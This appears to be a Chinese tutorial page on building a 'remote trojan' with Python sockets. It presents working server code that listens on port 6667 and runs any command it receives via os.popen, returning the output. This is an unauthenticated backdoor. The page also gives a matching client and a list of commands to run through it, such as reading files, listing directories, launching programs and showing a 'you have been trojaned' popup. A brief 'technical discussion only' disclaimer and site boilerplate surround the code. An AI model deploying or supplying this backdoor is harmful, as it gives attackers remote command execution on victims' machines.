Python Socket实现远程木马弹窗详解
严正声明:本文仅限于技术讨论,严禁用于其他用途。
基础知识
- socket通信模块:针对TCP/IP协议簇进行的程序封装,在Windows/Linux均有这样底层模块。
- Unicode 有多种存储方式,常见的有 UTF-8、UTF-16、UTF-32,它们分别用不同的二进制格式来表示 Unicode 字符
- 如果全部英文或英文与其他文字混合,但英文占绝大部分,用UTF-8就比UTF-16节省了很多空间.而如果全部是中文这样类似的字符或者混合字符中中文占绝大多数.UTF-16就占优势了,可以节省很多空间
编码:
- 英文多:建议用UTF-8编码(utf-8是使用最多的编码方式,是一种变长字符编码)
- 中文多:建议用UTF-16编码
- 中文:window中文采用的是GBK格式编码
netstat -ant :只显示传输层的数据 TCP,UDP连接,可以用来检查socket服务是否起了
服务端(server)程序
import socket, os
def attack():
try:
s = socket.socket()
s.bind(('0.0.0.0', 6667)) # 使用缺省地址,所有设备均可访问该服务器的6667端口
s.listen() # 对6667端口进行监听
chanel, client = s.accept() # 进入阻塞状态,accept() 返回元组,接受来自客户端的数据,chanel:新的socket对象用于标识出服务器和哪个客户端连接进行通信, client: 客户端的IP和端口
while True:
receive = chanel.recv(1024).decode()
reply = os.popen(receive).read()
chanel.send(f"命令{receive}的运行结果:\n{reply}".encode())
except:
s.close()
attack()
if __name__ == '__main__':
attack()
客户端(client)程序
import socket
s = socket.socket()
s.connect(('192.168.137.1', 6667)) #192.168.137.1是socket服务器的地址
while True:
sendstr = input("请输入消息:")
s.send(sendstr.encode())
receive = s.recv(1024).decode()
print(f"服务器回复:{receive}")
# s.close()
其他命令执行函数
提示:需要导入 os 模块—— import os
os.system('ipconfig')
os.popen('ipconfig').read()
eval() # 将字符串按照Python代码来执行
该木马程序的基本用法
1、查看文件内容
window
type 文件绝对路径
linux
cat 文件路径
2、查看文件目录
window
dir #查看当前文件路径目录
dir 文件路径 #查看指定文件路径目录
linux
ls #查看当前文件路径目录
ll #查看当前文件路径目录详细信息
ls 文件路径 #查看指定文件路径目录
ll 文件路径 #查看指定文件路径目录详细信息
3、创建文件或目录
windows
echo test >> demo.txt #创建一个demo.txt文件,文件内容为 test
linux
mkdir 路径 #创建目录
echo test >> demo.txt #创建一个demo.txt文件,文件内容为 test
4、调用windows应用程序
调用计算器
calc.exe
调用其他引用程序
直接输入应用程序绝对路径
5、调用Windows弹窗
echo msgbox("你中木马了!!") > E:\hi.vbs
E:\hi.vbs
到此这篇关于Python Socket实现远程木马弹窗详解的文章就介绍到这了,更多相关Python Socket内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341